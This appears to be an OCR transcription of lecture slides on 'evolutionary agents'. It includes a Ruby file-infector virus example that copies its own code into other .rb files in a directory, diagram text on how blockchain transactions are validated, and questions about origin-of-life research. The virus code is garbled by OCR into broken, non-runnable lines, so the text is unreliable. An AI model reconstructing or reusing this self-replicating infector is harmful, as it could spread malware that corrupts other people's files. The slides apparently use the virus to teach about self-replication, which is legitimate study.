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Part 4: Evolutionary Agents
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Computer Virus

prog-11.rb infector.rb

def 1nT~cT Tlle:
count = :
virus_top
virus_bottom
files = Dar["
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files.each do |

first line = File.open(random file,

1f first line != virus top #

File.rename(random file, 'tmp.
virus file = File. open( |
virus_contents = '
# This 1s necessary to prevent programs from writing their own content when embeding to other programs
virus file. each line 1ne| ;

virus_contents += line # Add

1f line =~ /#{virus bottom}/

count +=
1f count == 2 then break end

end
end
Fi1le.open(random file, ' f write(virus_contents) } # Wri
good file = File. open( tmp. ') # Open the tmp.rb file (con
good_contents = good file. = ir‘t the contents of the good fi
File. open(random file, ': f.write(good contents)} # Append the good conten
File.delete('tmp.rb') # Delete the temporary file

end
end
end

infect files
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Block Chain

Requested transactions are funneled
into a P2P network and broadcast Individual nodes recieve
to each individual computer (or node).

the request and validate the

One party requests : : .
transaction using an algorithm.

a transaction.
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Once the block is added to
an existing chain, transactions
are complete and permanent.
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- w w m w Approved transactions
are represented as blocks

and added to a public ledger.
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* Are we only interested in the initial necessary conditions for all subsequent

life (e.g. Evolveability out of abiotic physics as the most fundamental basis
for understanding) - The Fundamentalists

 Or are we interested in the multiple origins of life (adaptive agency) and
thereby the many analogous processes that can support these (e.qg.
Coarse-Grained effective theories at multiple scales?) - The Pluralists



